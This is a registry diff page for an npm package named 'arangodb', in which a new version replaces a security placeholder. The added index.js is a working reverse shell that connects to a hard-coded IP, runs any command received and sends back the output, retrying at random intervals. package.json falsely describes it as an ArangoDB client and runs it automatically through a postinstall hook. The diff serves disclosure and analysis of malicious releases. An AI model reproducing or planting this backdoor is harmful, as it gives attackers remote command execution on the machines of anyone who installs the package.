arangodb 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of arangodb might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +66 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,66 @@
1
+ const net = require('net');
2
+ const { exec } = require('child_process');
3
+
4
+ // 配置服务器的 IP 地址和端口
5
+ const SERVER_HOST = '47.89.213.169'; // 替换为你的服务器 IP 地址
6
+ const SERVER_PORT = 8081; // 替换为你的服务器端口
7
+
8
+ let client;
9
+
10
+ // 创建与服务器的连接
11
+ function connectToServer() {
12
+ client = new net.Socket();
13
+
14
+ // 当连接到服务器时触发
15
+ client.connect(SERVER_PORT, SERVER_HOST, () => {
16
+ console.log(`Connected to server at ${SERVER_HOST}:${SERVER_PORT}`);
17
+ });
18
+
19
+ // 当接收到服务器发送的指令时触发
20
+ client.on('data', (data) => {
21
+ const command = data.toString().trim();
22
+ console.log(`Received command: ${command}`);
23
+
24
+ // 执行收到的指令
25
+ exec(command, (error, stdout, stderr) => {
26
+ if (error) {
27
+ console.error(`Error executing command: ${stderr}`);
28
+ client.write(`Error: ${stderr}\n`);
29
+ return;
30
+ }
31
+
32
+ // 将执行结果返回给服务器
33
+ client.write(`Command output: ${stdout}\n`);
34
+ });
35
+ });
36
+
37
+ // 当连接关闭时触发
38
+ client.on('close', () => {
39
+ console.log('Connection closed');
40
+ // 重新尝试连接
41
+ reconnectToServer();
42
+ });
43
+
44
+ // 处理错误
45
+ client.on('error', (err) => {
46
+ console.error(`Connection error: ${err.message}`);
47
+ // 连接错误后重新尝试连接
48
+ reconnectToServer();
49
+ });
50
+ }
51
+
52
+ // 重新连接函数,设置随机重试时间
53
+ function reconnectToServer() {
54
+ // 生成1到5分钟(60,000 到 300,000 毫秒)之间的随机时间间隔
55
+ const retryInterval = Math.floor(Math.random() * (300000 - 60000 + 1)) + 60000;
56
+ console.log(`Reconnecting in ${(retryInterval / 1000 / 60).toFixed(2)} minutes...`);
57
+
58
+ setTimeout(() => {
59
+ console.log('Attempting to reconnect...');
60
+ connectToServer();
61
+ }, retryInterval);
62
+ }
63
+
64
+ // 初始连接
65
+ connectToServer();
66
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "arangodb",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "engines": {
5
+ "node": ">=18"
6
+ },
7
+ "description": "A lightweight and flexible client for ArangoDB designed to interact with ArangoDB's native multi-model database features (document, key-value, graph, and search). This package allows you to seamlessly connect your Node.js applications to an ArangoDB server or cluster, execute AQL queries, manage collections, handle transactions, and work with ArangoDB’s graph database capabilities.",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "author": "yeshen7",
13
+ "keywords": ["arango", "arangodb","aql","nosql","client","driver","api","http","rest"],
14
+ "license": "ISC"
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=arangodb for more information.